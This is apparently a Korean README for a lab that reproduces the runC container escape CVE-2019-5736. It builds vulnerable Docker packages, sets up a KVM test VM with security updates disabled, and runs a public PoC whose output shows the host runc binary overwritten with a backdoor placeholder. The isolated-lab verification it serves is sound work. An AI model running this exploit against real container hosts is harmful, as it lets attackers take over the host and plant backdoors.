
CVE-2019-5736 재현기(RunC 컨테이너 탈출 취약점). 취약한 Docker 패키지에 대한 익스플로잇을 확인할 수 있는 빌드 스크립트와 KVM 기반 실습 환경을 제공합니다.
이 도구를 사용하면 RunC-CVE-2019-5736이 KVM 인스턴스에서 작동하는지 확인할 수 있습니다.
docker.io 관련 패키지를 빌드합니다.*.deb 패키지를 설치합니다.*.deb 패키지 빌드$ docker-compose build --no-cache
$ docker-compose run build
$ git clone https://github.com/twistlock/RunC-CVE-2019-5736.git
$ tar cjf RunC-CVE-2019-5736.tar.bz2 RunC-CVE-2019-5736
$ lxc launch --vm images:ubuntu/18.04 test-cve-2019-5736 -c limits.cpu=4 -c limits.memory=4GB
$ lxc file push deb/*.deb RunC-CVE-2019-5736.tar.bz2 test-cve-2019-5736/root/
$ lxc exec test-cve-2019-5736 bash
root@test-cve-2019-5736:~# sed -i -e '/bionic-updates/s/^/#/' -e '/bionic-security/s/^/#/' /etc/apt/sources.list
root@test-cve-2019-5736:~# apt update
root@test-cve-2019-5736:~# apt install iptables libltdl7
root@test-cve-2019-5736:~# dpkg -i containerd_0.2.5-0ubuntu2_amd64.deb docker.io_17.12.1-0ubuntu6_amd64.deb runc_1.0.0~rc6+git20181203.96ec2177-0~ubuntu2_amd64.deb
참고: 후자의 경우 lxc exec 명령이 제대로 작동하지 않으므로 ubuntu:18.04 대신 images:ubuntu/18.04를 사용해야 합니다.
$ lxc exec test-cve-2019-5736 bash
root@test-cve-2019-5736:~# tar xf RunC-CVE-2019-5736.tar.bz2
root@test-cve-2019-5736:~# cd RunC-CVE-2019-5736
root@test-cve-2019-5736:~/RunC-CVE-2019-5736# docker build -t cve-2019-5736:exec_POC ./exec_POC
root@test-cve-2019-5736:~/RunC-CVE-2019-5736# docker run -d --rm --name poc_ctr cve-2019-5736:exec_POC
92b965383f377419f3dad7cec45e468a4c4a83e82e11a2f2e0e23803016e2840
root@test-cve-2019-5736:~/RunC-CVE-2019-5736# docker exec poc_ctr bash
No help topic for '/usr/bin/bash'
root@test-cve-2019-5736:~/RunC-CVE-2019-5736# /usr/bin/docker-runc
**THE ALL NEW AND IMPROVED RUNC**
[+] Your backdoor here ->
root@test-cve-2019-5736:~/RunC-CVE-2019-5736#